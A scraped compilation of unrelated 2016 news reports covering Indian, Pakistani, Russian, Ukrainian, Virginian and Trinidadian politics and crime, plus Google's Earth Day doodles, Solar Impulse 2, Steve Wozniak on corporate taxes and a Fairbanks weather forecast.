'Raman Raghav 2.0' is set to premiere in the prestigious Director's Fortnight segment of Cannes film festival, 2016. The film festival is slated to take place from May 11 till May 22, 2016.



Kashyap had also shared that it is a proud moment for me and my team."
Moscow: Ukrainian President Petro Poroshenko has signed a bill banning all movies filmed in Russia after 2014, when Russia annexed the Crimean peninsula.



The bill that Poroshenko signed recently also bans all movies produced by Russian companies and Russian citizens after 1991 if they "glorify the work of government bodies" of Russia.



Relations between Ukraine and Russia soured in 2014 when Russia annexed Ukraine's Crimean peninsula and threw its support behind separatist rebels in eastern Ukraine. The fighting between the rebels and government troops there left more than 9,100 dead.



Despite the European mediation, a cease-fire in the east barely holds and a political settlement looks like a distant prospect.


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Russian President Vladimir Putin on Thursday outlined the top national security tasks for the country's armed forces and security services.

The priority tasks are in line with a new national security strategy approved by Putin last December which mainly aims at strengthening Russia's defense and protecting sovereignty, independence and territorial integrity.

The strategy also aims to ensure Russia's status as "one of the leading world powers, which seeks to maintain strategic stability and mutually beneficial partnerships in a polycentric world."

In laying out the tasks, Putin said Russian troops should develop operation skills and strategy in training, snap inspections and combat missions, according to a Kremlin statement.

The president promised the most modernized armament would be supplied to strengthen the Russian armed forces.

Putin also urged all law enforcement agencies to increase their efficiency in investigating and preventing crimes, and to speed up the fight against corruption, particularly in the defense fields.

He also urged Russia's border guards to monitor and "put an insurmountable barrier" to smuggling, illegal migration and transnational crimes.

"Reliable security of the country directly depends on the competent work of the Foreign Intelligence Service," Putin said.

The Federal Security Service should work consistently and competently in order to put an end to activities of foreign intelligence agents inside Russia, according to the statement.

The newly created National Guard, which has the task of fighting against arms trafficking, terrorism and organized crime, could work together with other state departments, he said.
Burdwan: Two CPM workers were killed after the third phase of polling in 62 assembly seats in West Bengal.



The CPM poll agents were beaten up and assailants later hurled crude bombs at them. Both the agents suffered major injuries and succumbed to those during treatment. The violence continued in Burdwan even after the voting concluded.



The party is blaming ruling Trinamool Congress for the violence against its cadres.







Two people were also injured in a separate incident in the city. A CPM worker's ear was slashed and the leg of another party supporter fractured in a scuffle in front of a booth number 78.



Meanwhile, heavy turnout of 81.62% was recorded in 17 seats of Nadia, 79.29% in 22 seats of Murshidabad and 78.26% in 16 seats of Burdwan.
Chennai: Conducting the bull taming sport of Jallikattu in Tamil Nadu from 2017, implementation of prohibition and waiver of all loans availed by farmers are among BJP's promises in its election manifesto released on Thursday.



Toeing the line of Dravidian majors AIADMK and DMK, the party promised imposition of prohibition and freebies of eight gram gold to eligible women in Below Poverty Line category for marriage.



Taking a cue apparently from DMK, the party said it would waive "all loans availed by farmers" and assured a separate budget for agriculture and Lokayukta to end graft.



Ramadoss-led PMK for a long time has been advocating a separate farm budget.



Union Minister and senior BJP leader Nitin Gadkari today released the party manifesto, labelled as "Vision Document", in the presence of state leaders led by Tamil Nadu party chief Tamilisai Soundararajan.



The saffron party's pet themes like cow protection and a law to stop forced religious conversions also featured in the manifesto.



The party also promised quality education on par with CBSE standards in government-run schools and linking of all intra-state rivers.



BJP is fighting polls in alliance with smaller parties like IJK.
The Central government has moved Supreme Court against the Uttarakhand High Court verdict quashing President's rule in the state. The Centre is seeking a stay on the Uttarakhand order. Centre's appeal on Uttarakhand is listed for hearing at 3.30 pm on Friday before an SC bench headed by Justice Dipak Misra.



Attorney General Mukul Rohatgi has told the court that they have filed an appeal without the HC judgement in hand as it was not declared and an oral order was passed on Thursday. The Centre has maintained that imposition of the President's Rule was essential to address the Constitutional crisis in the state.



The nine rebel Congress MLAs also file appeal against HC's

decision barring them from participating in floor test on Apr

29.



Meanwhile, Congress leaders in the state are in a huddle. Uttarakhand CM Harish Rawat chaired a meeting of the state cabinet calling for an Assembly session on April 29 when the floor test is to be held.



Congress' Uttarakhand in-charge Ambika Soni is in Dehradun to rally the party MLAs. "Don't know what they are trying to achieve in SC. I am sure the SC will go through the historic judgement of the Nainital High Court. All our MLA's are waiting for 29," Ambika Soni said.



Rawat has also filed a caveat in Supreme Court seeking that he be heard before any order is passed on Centre's plea against scrapping of President's rule in the state. He holds an advantage in the floor test as the 9 Congress rebel MLAs will not be allowed to cast their vote.
A medical officer of Arthur Road jail has been repatriated to the parent Health Department after he was found guilty of fudging former Maharashtra minister Chaggan Bhujbal's report.



The officer's report had helped Nationalist Congress Party (NCP) leader Bhujbal get admitted to St George Hospital with "chest pain" despite complaining of toothache.







An inquiry was ordered by the prison department and action will taken by the Health Department since the officer had been sent on deputation.




Lucknow: Countering Prime Minister Narendra Modi's 'Chai pe Charcha', Congressmen coined the new 'Chane pe Charcha' in Amethi as party vice president Rahul Gandhi interacted with party workers over 'laiyya-chana' - a staple snack in this part of Uttar Pradesh.



Gandhi, who arrived in his parliamentary constituency late on Wednesday, interacted with party workers on Thursday and visited the homes of some party loyalists to express his condolences on death of their near and dear ones. Maintaining distance from the media following him, he refused to comment on any issue, including the developments in neighbouring Uttarakhand where the high court struck down president's rule and restored the Congress government.



Later in the day, Gandhi visited the district party office and held parleys with them on various issues and local problems. It was after a gap of two years that such a meeting was held at the district HQ, a leader said. The last time a meeting of this sort took place was after the 2014 Lok Sabha debacle.



Party leaders, while circumspect about the party's future in the state, however conceded that Gandhi had become more accessible than before and gave them a patient hearing. He will also spend Friday in Amethi where he has a string of engagements.



On the same day, election strategist Prashant Kishore, lined up to revive party's fortunes, held a meeting with office bearers of various frontal organisations in the state capital.


This year Google is marking Earth Day with a series of five doodles created by Google doodler Sophie Diao. Each of the doodles represent one of earths five major biomes: the tundra, forest, grasslands, desert, and coral reefs."In each illustration, youll find one animal whos been singled out for their 15 minutes of fame," Diao says in her post describing the doodles. Each time users visit the Google home page, they will randomly see one of the five doodles.The five doodles feature the tundra and polar bear, forest and red fox, grasslands and elephant, desert and tortoise, and aquatic/ocean, coral reef and octopus.The first Earth Day was celebrated on April 22, 1970 and was founded by US Senator Gaylord Nelson. The original Earth Day was attended by about 20 million Americans. The Earth Day movement went global in 1990 and is now celebrated in over 175 countries across the globe. April 22 was officially designated as the international Earth Day by the United Nations in 2009.The day is marked to raise awareness and appreciation for our planet's environment.Google has been celebrating Earth Day through its popular doodles for the last 16 years.In 2015, Google had posted a first of its kind doodle in the form of a quiz that told users which animal they were the closest to.Pangolin, honey badger, cuttlefish, mantis shrimp, komodo dragon, woolly mammoth, honey bee, red-capped manakin, coral, giant squid, sea otter and whooping crane were among the results that users were be presented depending on the options they chose.On Earth Day 2014 Google had posted a 6-in-1 animated doodle on its home page with six representatives from the animal kingdom - Rufous Hummingbird, veiled chameleon, dung beetle, Japanese macaque, moon jellyfish and puffer fish.It was noon on a bright spring day on the Google Earth Day 2013 doodle. Clicking on the play button on the blazing sun set the day and the doodle in motion.In 2012, Google posted a flower-themed doodle on its home page. It had an animated image of blooming flowers in purple, red and yellow colours that spell Google.In 2011, Google went interactive for it's 11th Earth Day doodle that had in it ticklish pandas, frolicking penguins, a growling lion, a cascading waterfall, waterfall climbing fish, a fish devouring bear, birds, butterflies, a koala and a jumping frog.In 2010, Google celebrated the 40th anniversary of Earth Day and the search engine giant transformed its logo into an illustration of a forest with sunlight filtering through the leaves creating an impression of the Google logo.In 2009, Google went partially underwater with its Earth Day doodle to highlight the rich diversity of life in the water.The Google logo appeared as a natural rock formation with a stream running through it for the 2008 Earth Day.The 2007 Google Earth Day doodle had the Google logo in the form of an iceberg to highlight the melting of the polar ice caps.In 2006 the Google logo went green for Earth Day with solar and wind energy.The 2005 edition of Google's Earth Day doodle has more members from the animal kingdom, including a squirrel and a bird family.A happy fish with mountains in the background was the theme for Google's 2004 Earth Day doodle.The 2003 Google Earth Day doodle had some beings from outer space. Two aliens gaze at the earth sitting atop the Google logo, quite like how lovebirds on earth look at the moon.The 2002 Google Earth Day doodle did away with the two-hemispheres and replaced only one 'O' with an image of the earth but added some clouds for effect.The first Google Earth Day doodle, back in April 22, 2001 was a simple doodle. The 'O's in the Google logo were replaced by the western and the eastern hemisphere for the earth.
Islamabad: Pakistan on Thursday blamed the Indian media for creating "hype" over remarks by its envoy over the peace process and said it was ready to talk to India when the latter is ready.



"Pakistan and India are two neighbours which must live in peace and harmony. The hype created by the Indian media over Mr (Abdul) Basit's remarks was neither warranted nor required," Foreign Office Spokesperson Nafees Zakaria said at his weekly briefing.



He was answering a question about Pakistan High Commissioner to India Abdul Basit's remarks that the peace process was suspended.



Zakaria said, "This question has been repeatedly asked and I will only add to what has been said earlier is that Pakistan will be ready to talk when India is ready. I would not enter into the debate of what words were used by both sides."



On the Pathankot terror attack probe, he said relevant departments were dealing with the finding of JIT which visited India and once the investigations had been completed and a report compiled, "we will share with you the shareable information."



About an Indian NIA team's visit to Pakistan, he said, "I am not aware of any official request in this regard." Commenting on reported test of a Submarine Launched Ballistic Missile by India, Zakaria said the development of a nuclear submarine fleet would "impact the delicate strategic balance of the region."



On Kashmir, Zakaria said Pakistan highlights the alleged human rights violations of Kashmiris at all the forums. He said the arrest of alleged "Indian agent" Kulbushan Yadav vindicated Pakistan's longstanding position that India has a hand in terrorist incidents taking place in the country.



He also claimed that based on Yadav's confessional statements, "arrests have been made". He, however, refused to share the details of those arrests. When asked to comment on Col. Purohit, arrested on charges of planning and carrying out the Samjhauta Express blast in 2007, he said the train attack mastermind Swami Aseemanand in public named Purohit and other officials.



"We will not go by media reports. Our requirement and request of sharing details of the Samjhauta Express terrorist attack investigations is pending with the Indian government. Despite promises, the investigations have not been shared. Lets see when will they get back to us about the outcome of the investigations of this incident in which a lot of innocent Pakistanis lost their lives," he said.
Peshawar: A prominent Pakistani Sikh politician was shot dead on Friday by unidentified motorcycle-borne gunmen near his home in the country's restive northwest.



Sardar Sooran Singh, the Special Assistant to Chief Minister Khyber Pakhtunkhwa (KP) on Minority Affairs, was assassinated in Pir Baba area of Buner district in the province when he was going back to his home after a routine walk, police said.



He was immediately taken to a nearby hospital where he was declared dead. Police said that Singh had no guard at the time of attack.



Initial postmortem report stated that he received only one bullet in his head.



Nobody has claimed responsibility for the killing. Governor KP Iqbal Zafar Jhagra, Special Assistant to KP Mushtaq Ghani and Provincial Ministers Shahram Tarakai have condemned the killing of Singh.



They vowed to bring to justice all those responsible for the killing.



Singh was a doctor, TV anchor and politician. Before joining Pakistan Tehreek-e-Insaf in 2011, Singh was a member of Jamaat-e-Islami Pakistan for nine years.



He was also member of Tehsil council, Pakistan Sikh Gurdwara Prabandhak Committee and Evacuee Trust Property Board.



Singh also hosted programme 'Za Hum Pakistani Yam' for three and a half years with Khyber News.


Gov. Terry McAuliffe signed an executive order Friday restoring the voting rights of 206,000 ex-felons, a sweeping action the governor said was aimed largely at rectifying Virginias long and sad history of suppressing African-American voting power.

The move, coming in a presidential election year, outraged Republicans who accused McAuliffe of abusing his power to help longtime ally Hillary Clinton win a battleground state by putting more likely Democratic voters on the books.

The governors order applies to all violent and nonviolent felons who had finished their sentence and supervised release as of Friday, even those who have not applied for a restoration of rights. Previous Virginia governors have restored rights on an individual basis, but none has done it for an entire category of offenders with one pen stroke.

The order stops short of creating automatic restoration of rights for all ex-offenders, because McAuliffe will have to sign similar orders on a monthly basis moving forward. Still, the order is a historic shift away from Virginias policy of lifetime disenfranchisement for those convicted of serious crimes.

We benefit from a more just and accountable government when we put trust in all of our citizens to choose their leaders, McAuliffe said Friday from the steps of the state Capitol, where a gospel choir warmed up a jubilant crowd. It has taken Virginia many centuries, unfortunately, to learn this lesson. But today, we celebrate its truth.

The action, which comes just days after the General Assembly wrapped up the 2016 legislative session, has the potential to expand the states voter rolls, currently estimated at about 5.4 million, by as much as 3.8 percent.

Virginia is one of 10 states that do not automatically restore rights upon completion of a felony sentence and one of only four states that require an application by the felon and action by the governor, according to the McAuliffe administration, which cited research showing one of every five African-Americans of voting age in Virginia has lost the right to vote.

Supporters praised McAuliffe for what they characterized as a bold step that will give ex-offenders a chance to fully participate in civic life. Opponents called it a potentially unconstitutional overreach that will further strain the relationship between the governor and the Republican-controlled legislature.

Schapiro: McAuliffe uses executive power to paint Virginia blue McAuliffe's surprise announcement has Republicans seeing red - not just the partisan color-code variety - and is certain to make Virginia's already-bitter politics more so.

In his speech, McAuliffe anticipated a strong response from Republicans, who said the orders lack of distinction between violent crimes and less serious offenses will give murderers and rapists the right to vote, serve on juries, hold public office and notarize documents.

There may be some individuals who will try and demagogue this issue and will make reckless accusations, McAuliffe said. Our action today does not pardon or change the sentence for any man or woman affected by this plan. These individuals have completed their sentences. They have atoned for their actions.

Ex-offenders affected by Fridays order must register to vote before participating in elections. Several Democratic-aligned organizing groups were in the crowd for Fridays announcement, registering some attendees on the spot.

Speaker of the House William J. Howell, R-Stafford, blasted the order as a political ploy to boost Democrats chances in November.

The singular purpose of Terry McAuliffes governorship is to elect Hillary Clinton president of the United States, Howell said. This office has always been a steppingstone to a job in Hillary Clintons Cabinet.

Considering that the entire General Assembly was in session just two days ago, the timing of this action should give all legislators pause, said Senate Majority Leader Thomas K. Norment Jr., R-James City. Perhaps this governor does not expect to have to work with the General Assembly next session, as he might be planning on an appointment to an office headquartered in a different capital city.

Clinton praised the move on Twitter, saying: Proud of my friend (Terry McAuliffe) for continuing to break down barriers to voting.

With Virginians choosing a new governor in 2017, McAuliffes successor could choose not to continue the policy.

I believe in redemption and reconciliation and that a review of restoration of rights for nonviolent felons whove paid their debt to society deserves debate, but this sweeping action benefiting convicted rapists, murderers and child molesters is a reckless abuse of executive power, said Ed Gillespie, a GOP gubernatorial hopeful and former chairman of the Republican National Committee.

McAuliffes order does not restore firearm rights. The ability to purchase and own a gun still would require court action.

The ACLU of Virginia, which has pressed several governors on the issue, said McAuliffes action matched our hopes and exceeded our expectations.

Todays executive order reflects the governors recognition that the depth of disenfranchisement in Virginia and its deep roots in Virginias Jim Crow past required bolder executive action for progress to be made, said Claire Guthrie Gastanaga, executive director of the ACLU of Virginia.

The governor said he ensured he was on solid legal and constitutional grounds, but Republicans pointed to a 2010 letter to the ACLU from an attorney for Gov. Timothy M. Kaine, a Democrat, stating that a blanket restoration of rights would amount to a troubling rewrite of state law and the Constitution.

McAuliffe said he consulted with Attorney General Mark R. Herring and A.E. Dick Howard, an expert on the Virginia Constitution and professor at the University of Virginia School of Law.

In an interview, Howard said unequivocally that McAuliffe has the authority to restore rights for a large group rather than an individual.

There is simply no question about that, Howard said.

He also spoke of the historic significance of the occasion in relation to Virginias 1901-1902 constitutional convention, which set up poll taxes, literacy tests and disenfranchisement for felons as barriers for African-American participation.

Today, the last ghost of the 1902 convention was buried, Howard said.

Levar Stoney, a Richmond mayoral candidate who worked with McAuliffe to restore rights for 18,000 ex-offenders as secretary of the commonwealth, read a quote from then-legislator Carter Glass about the voting plan adopted at the 1902 convention.

This plan will eliminate the darkey as a political factor in this state in less than five years, so that in no single county will there be the least concern felt for the complete supremacy of the white race in the affairs of government, Stoney said as he introduced the governor. Public service, he said, is about giving voice to the voiceless and righting the wrongs.

Speaking in the former capital of the Confederacy, McAuliffe and others drew parallels to the Civil War.

Not long after President Abraham Lincoln celebrated emancipation with former slaves gathered not 20 yards from where Im standing, Virginia initiated a campaign of intimidation, of corruption, of violence aimed at separating African-Americans from their constitutional right to vote, McAuliffe said.

Previous governors have said they thought a wholesale restoration of rights would require a change to the Virginia Constitution, but recent governors have found ways to accelerate and accomplish part of the goal through an exercise of executive authority.

Gov. Mark R. Warner, a Democrat, took steps to simplify the cumbersome process, which could take years to initiate and months to complete. Kaine shortened the waiting period for those released from prison before applying for a restoration of rights.

Gov. Bob McDonnell, a Republican, made prisoner re-entry and rehabilitation a priority of his administration. He reduced the processing time of restoration applications and automatically restored rights on an individual basis to nonviolent felons who had completed their sentence, probation and paid their court costs and fines, resulting in restoring the rights of more than 6,800 Virginians.

The McAuliffe administration simplified and dramatically accelerated the process, reducing the application to one page from 13 and shortening from five years to three years the time period in which a felon must wait to apply for reinstatement.

The current administration also removed drug offenses from the list of those considered violent felonies not eligible for restoration and said rights can be restored even if a felon has not completed payment of court fees and restitution.

Speaking to reporters, McAuliffe denied that the order was motivated by the presidential race and said he had not thought about the political impact.

Theres elections every year in Virginia, McAuliffe said. So one year versus another doesnt really matter.

He also said he saw no need to distinguish between violent and nonviolent crimes.

You cant be a second-class citizen. Once youve paid your time, theres no difference to me, McAuliffe said. We want you back. We want you to be a productive member of society.

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Heroin fuels spike in 2015 overdose deaths Michael Carter felt a brief flash of relief before searing grief consumed him. His sons life had ended, but so, too, had the nights spent wondering when police would show up at his home to tell him Graham had fatally overdosed.

After 33 years in prison for crimes he didn't commit, Keith Harward adjusts to freedom, family, technology Keith Allen Harward enjoyed the laughter of children and the smell of water evaporating off sun-soaked asphalt as small boats were launched and hauled from nearby Oak Hollow Lake.

In My Shoes: Accepting that your son will be happier as your daughter EDITORS NOTE: At her request, we are not identifying the writer of this column because her family is not yet ready to publicly share its story.

CSX crew reaches end of shift in Ashland, leaves train A CSX crew abandoned a train for hours Saturday, blocking an intersection in Ashland and pre
Altavista on Track has received a $10,000 environmental grant from Dominion to help pay for the towns proposed canoe launch on the Staunton River.

This is a big deal because it means that Altavista is continuing to move forward with the building of the boat launch, said Main Street Coordinator Emelyn Gwynn, with AOT, a Main Street nonprofit.

She added the boat launch fits into Altavistas recreational plan and economic development strategy and will help the group market the areas natural resources.

During a Campbell County Board of Supervisors meeting in February, Altavista officials presented an idea for an additional public canoe launch area along Virginia 43 on the Staunton River, about seven miles from the launch site in English Park, or a half-day float away.

The Staunton River is considered part of the Southern Virginia Blueway, which includes more than 30 public access points on multiple rivers. The blueway, which includes launch points, camping locations, and points of interest, targets a fast-growing segment of tourism.

Campbell County supervisors voted down providing in-kind construction services to the project at the February meeting. Altavista will cover the remaining costs of the project  estimated at about $300,000  with grants or its own money.

The town also will partner Altavista Fire and Rescue Squad, allowing it to use the site for emergencies.
Moonshine is taking over downtown Rocky Mount this weekend.

The Franklin County Moonshine Fest kicks off on Friday night, and by Saturday afternoon if all goes to plan, the streets should be flooded with people eager to learn about  and taste  the countys famed liquor. Streets downtown, including part of Virginia 40, will be closed to accommodate the crowd expected to turn out for United Way of Franklin Countys fundraising event.

The event developed out of Shine n Dine, a fundraiser United Way put on last year. It was a hit  United Way raised $32,000 in one four-hour event, said Nancy Bell, the nonprofits executive director. Immediately, there was discussion about expanding it.

The festival will include vendors, music, flat-footing demonstrations, historic exhibits and storytelling. The daytime events will be family-friendly and alcohol free, and in the evening, the visitors will have an opportunity to taste moonshine from legal distilleries in the region, like Rocky Mounts Twin Creeks Distillery.

Christopher Reynolds is known for his creative moonshine concoctions served at Bootleggers Cafe. The restaurants bar manager and head of marketing will put his skills to the test on Friday night with the Bartender Mixology Challenge using Twin Creeks product.

Reynolds and three other local bartenders will be given a mystery basket of items and will then be given 15 minutes to mix and name their drink.

Local officials will judge the contest, and the winning drink will be served on Saturday night as the signature cocktail, Bell said.

Reynolds said moonshine is fun to mix with, and is something not many others are using.

Reynolds attributes the fascination with moonshine to the areas history, and the 2012 movie Lawless.

Franklin County really is the wettest county in the world in that aspect, he said.

The way the festival has grown far exceeded expectations. Initially it was just going to be a little street festival at the towns farmers market, but once organizers put out the call for vendors, it became clear from the response that theyd need a lot more space, Bell said.

When she went to Rocky Mounts town council, Bell said, she told them there were two options: Make it smaller, or do this right the first time and get people to come back.

This is the largest event the United Way has ever done.

Bell said she knew right away the event wasnt something the nonprofit could pull off on its own  the Franklin County United Way is a 1.5-person operation, she said. United Way joined forces with a number of other groups to expand the event. One example Bell gave was partnering with Franklin County Parks and Recreation, which is holding its annual Chug for the Jug 5K on Saturday in conjunction with the festival.

Part of Virginia 40, which runs through downtown, will be closed on Saturday. Bell said the town has never closed the route during commerce hours on a Saturday before.

Event organizers went door-to-door to drum up local businesses support. Most of the merchants will move out to the sidewalk to join the festivities, she said.

The success of the nonprofits fundraiser is even more important this year  United Way is looking to fill a $100,000 hole in its budget, Bell said. A company in town that did a United Way fundraising campaign was sold and no longer will participate.

United Way has been working with Franklin Countys tourism department to market the event.

As soon as Tourism Development Manager David Rotenizer started in his position in August, he heard rumblings of a full-on moonshine festival.

He mentioned the idea to tourism colleagues around the state, including state officials, and everyone agreed it sounded like a great event.

Rotenizer cant say for sure why people get so excited about moonshine. Distilleries seem to have become the new wineries, he said, and theyve been popping up all over the place. He mentioned distilleries in Marion, Patrick County and Floyd.

Bell agreed, saying Franklin County was the right place at the right time.

And if Franklin County didnt capitalize on that growing interest with a festival, Rotenizer said, someone else would. Its only fitting that the county dubbed as the moonshine capital of the world be the one to do it.

Rotenizer said he hopes the festival will become an annual event, on par with the Blue Ridge Folklife Festival and the Smith Mountain Lake Wine Festival.
Red Hulk, Ronin, and more: 10 Heroes and Villains whose secret identities were hidden from readers

There's a longstanding superhero tradition of hiding the identity of certain characters even from readers
Lifeguards drowning in problems

Paul said they have had to work in broken down towers, leaking roofs, flooded toilets. Carl Hernandez, deputy chairman of the NUGFW and also a lifeguard, said he was fed up of hearing of missing equipment or lack of thereof.

There are holes in the roofs, the windows are old and they fall off.

The railings on the ramps are falling off, seats where we have to sit are broken. The towers are open to the public so sometimes they are dirty, he said.

Paul also said the Tyrico Bay tower was in a dilapidated state, as was witnessed by the Newsday as we spoke to members of the Lifeguards Association of Trinidad and Tobago, yesterday, at their headquarters at Maracas Bay. In the toilet we have to put concrete blocks on the floor to get to the toilet because the toilet bowl is leaking and floods the area. The steps to the tower are slippery. The steps to come down is facing away from the beach so if you are going to make a rescue out in the water you have to take your eyes away from your bather to run down the steps and the bather could disappear during that time, he said.

Paul said lifeguards have not had uniforms for over three years.

He said the public was not able to identify lifeguards from other civilians.

We wear different clothes not because want to dress that way, but it is because we do not have uniforms so lifeguards are not properly identified on the beach, he said.

Gideon Valdez, Lifeguard II, said since lifeguards had been transferred from the Tourism Ministry to the National Security Ministry, they seemed to have been lost among the prisons and police services.

We are still wearing uniforms with Ministry of Tourism on it.

Right now it seems that we do not exist, we are just lost, he said. Valdez said they were severely short staffed and despite claims made by National Security Minister Edmund Dillon were misinformed.

This he blamed on an official from the Lifeguard Association.

The lifeguards expressed discontent with this official saying he was seeing about every position and responsibility except theirs. This official is feeding the ministry with wrong information. He is dragging the service right down. We have no manpower, it is just God and you alone out there. We need vibrant lifeguards, we cant be using the same lifeguards over and over. That is wear and tear to human beings, he said. Efforts to reach Minister Dillon for a comment last evening proved futile.
Fired SSA directors seek answers

They want to know under what circumstances was fired office manager of the agency rehired.

According to the seven  Bisnath Maharaj, Keron Ganpat, Doolam Rekha, Nyron Dookeran, Seukeran Singh, Carlton Dennie and Alanzo Flemming - fired office manager Sewrie Singh, who was also dismissed on the basis that the Minister of National Security Edmund Dillon, had lost confidence and trust in her ability to perform her duties, was rehired after approaching a deputy political leader of the ruling Peoples National Movement.

In a pre-action protocol letter sent by their attorneys Anand Ramlogan and Kent Samlal, the seven who alleged they were unlawfully dismissed because of racial discrimination and failing to take part in same alleged Singh, after being fired, was escorted off the compound of the Agency by security guards.

 Her desk was cleared of her personal belongings and effects and she was advised not to return.

Ms. Singhs sudden dismissal was surprising as she has served in the Agency under successive governments since 1995, the letter said. They also indicated that Singh sought the intervention of the Deputy Political Leader of the Peoples National Movement, Mr. Rohan Sinanan who promised to speak to the Minister of National Security and have her reinstated. I am further instructed that my clients were shocked to learn that Ms. Singh has in fact been subsequently reinstated.

That such a development could occur after the alleged promise of political intervention by no less a person than the Deputy Political Leader of the ruling Peoples National Movement is an indictment of the political insularity and integrity of the Agency, attorney Samlal wrote.
Felicias death a homicide

Alexandrov said although Persads death is classified by Forensic pathologist Dr Eslyn McDonald-Burris as undetermined pending further forensic tests on body tissue, he believes she may have been strangled. He agreed that with the advanced state of decomposition of the body, such a finding would be hard to determine on cursory examination of the body.

He said that regarding the manner of death, initial questions could have been asked such as was it homicide, suicide, accident or natural? So the circumstances indicate that it was not an accident, neither suicide.

We are left with homicidal asphyxia. The major of any enemy of any forensic pathologist regardless where they work, is decomposition.

So decomposition, especially when the body is found in the water, is accelerated.

Decomposition goes at a faster rate plus, we have to keep in mind the environment, including all the species living in the river which effectively devours the flesh, getting inside the body they make holes in the body, so the blood could have leaked out. Alexandrov noted that based on what he was told that there was a defect in Persads stomach wall where she may have been bitten by a fish.

The blood also goes through a decomposition process like all other body tissues except the bone which does not easily decompose, Alexandrov noted.

We do not know how much time the body was in the river before Friday so based on the decomposition of the body we cannot precisely estimate the time of death.

When we are dealing with a profoundly decomposed body and we cannot get the blood for toxicology or DNA we use decomposition fluid. This is definitely a homicide, he concluded.

Last week Monday, relatives of Persad were informed that there was not a trace of blood in her body and the cause of her death was undetermined due to decomposition.

She disappeared without a trace on April 2, after leaving her workplace at Giselle Fashions located at Toco Main Road, Sangre Grande. Her decomposing body was discovered in a body bag in the Mitan River last Friday.

Both hands and feet were bound, her mouth was stuffed with a piece of cloth and there was a black piece of rope around her neck prompting homicide investigators to believe that she was abducted and murdered.

Homicide investigators are following certain lines in this investigation.

Persad was cremated on Wednesday following a funeral service in Sangre Grande.
300 casual workers dismissed from Sando Corp

We will be making a plea for them to think over the situation, to review the situation and understand the importance of the casual employment, he said, adding, the casual employment is very, very serious because they are also important in the transport department. Meanwhile, Hosein, in a telephone interview, observed that approximately 100 casual workers would be offered employment on a rotational basis and which had been agreed to by the union. Asked how the decrease in casual employees would affect the corporations operations, he said, Well it wouldnt because we have the full complement, which is about 500 and an additional 300 guarantee, some on two year effective service, so it would not have an impact. And in an emailed response late yesterday evening , the mayor said the Corporation had to make some hard decisions in the upcoming weeks, and has found it necessary to discontinue the services of a number of rotational casual workers. He said out of 320 rotational casual workers the Corporation would be able to retain 180 of them.

The mayor said despite the layoffs the Council and Administration are currently creating new opportunities for employment within the city.

There are currently 66 unoccupied stalls in the Central Market and we are reorganising the layout to accommodate even more. We are also making adjustments to the vending area at Cross Crossing which will open up more spaces and create further opportunities for self-employment in our city, he added.
(Newser)  A solar plane on an around-the-world journey has reached the point of no return over the Pacific Ocean after departing Hawaii, and now it's California or bust, the AP reports. The plane was cruising over the cold northern Pacific late Thursday at about 20,000 feet with a nearly-full battery as night descended, according to the website that's documenting the journey of Solar Impulse 2. The plane is on course to land in Mountain View, Calif., in about three days. Pilot Bertrand Piccard, who is flying this leg of the journey accompanied by co-pilot Andre Borschberg, said Thursday he's confident things will go according to plan, adding the destination in the heart of Silicon Valley is fitting as the plane will land "in the middle of the pioneering spirit."

At one point the plane was passed by a Hawaiian Air jet whose passengers caught a glimpse of the Solar Impulse 2. The solar aircraft landed in Hawaii in July and was forced to stay after the plane's battery system sustained heat damage on its trip from Japan. The aircraft started its journey in March 2015 from the United Arab Emirates and made stops in Oman, Burma, China, and Japan. It's on the ninth leg of its circumnavigation. The trans-Pacific leg is the riskiest part of the plane's global travels due to the lack of emergency landing sites. The plane's ideal flight speed is about 28mph, though that can double when the sun's rays are strongest. The carbon-fiber aircraft weighs about as much as a midsize truck; its wings, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries. (Read more Solar Impulse stories.)
Apple's co-founder Steve Wozniak said, all companies, including Apple Inc., should pay more taxes. Apple has come under the scrutiny of U.S. and European regulators over its alleged use of tax shelters in Luxembourg and Ireland to protect its revenues, reported the International Business Times.

Speaking to BBC Radio 5 Live, Wozniak said:

"I do a lot of work, I do a lot of travel and I pay over 50 percent of anything I make in taxes and I believe that's part of life and you should do it,"

When asked if Apple should pay that amount, he replied: "Every company in the world should." Wozniak, widely known as Woz, founded Apple along with Steve Jobs and Ronald Wayne some 40 years ago.

Oxfam, said that U.S. corporates such as Apple, Walmart and General Electric have stashed $1.4 trillion in tax havens. The Oxfam report titled "Broken at the Top" showed that Apple occupied the top spot in terms of money held offshore, with some $181 billion held offshore in three subsidiaries, April report.

The iPhone maker channels much of its business in Europe through its official global headquarters in Cork, a provincial town in southern Ireland, which has a corporation tax rate of 12.5 percent compared to the U.K.'s 20 percent. Apple also faces pressure from U.S. authorities for hoarding about $215 billion in cash, most of which is held outside America, as the company would face a 40 percent tax if it tried to repatriate it.

In recent interview by IB Times, the company's CEO Tim Cook lashed out at politicians, and said that the notion Apple was avoiding paying taxes was "political crap."

"Apple pays every tax dollar we owe," he added, in the interview with CBS's "60 Minutes."

That's how Apple Inc. makes a difference all the time.
Fairbanks, AK (99707)

Today

Snow showers this evening. Becoming partly cloudy later. Low 19F. Winds light and variable. Chance of snow 40%..

Tonight

Snow showers this evening. Becoming partly cloudy later. Low 19F. Winds light and variable. Chance of snow 40%.
The Daily News-Miner encourages residents to make themselves heard through the Opinion pages. Readers' letters and columns also appear online at newsminer.com. Contact the editor with questions at letters@newsminer.com or call 459-7574.
Islamabad:

Pakistan on Thursday said it was ready to talk to India when the latter is ready.



Pakistan will be ready to talk when India is ready, Foreign Office spokesman Nafees Zakaria said when asked about resumption of peace process.



This question has been repeatedly asked and I would not enter into the debate of what words were used by both sides, he said at the weekly briefing.



To another question, he said that Pakistan and India are the two neighbors which must live in peace and harmony.



On the Pathankot terror attack probe, he said relevant departments were dealing with the finding of JIT which visited India and once the investigations had been completed and a report compiled, we will share with you the shareable information.



About an Indian NIA teams visit to Pakistan, he said, I am not aware of any official request in this regard.



Commenting on reported test of a Submarine Launched Ballistic Missile by India, Zakaria said the development of a nuclear submarine fleet would impact the delicate strategic balance of the region.



On Kashmir, Zakaria said Pakistan highlights the alleged human rights violations of Kashmiris at all the forums.



He said the arrest of alleged Indian agent Kulbushan Yadav vindicated Pakistans longstanding position that India has a hand in terrorist incidents taking place in the country.



He also claimed that based on Yadavs confessional statements, arrests have been made. He, however, refused to share the details of those arrests.



When asked to comment on Col. Purohit, arrested on charges of planning and carrying out the Samjhauta Express blast in 2007, he said the train attack mastermind Swami Aseemanand in public named Purohit and other officials.



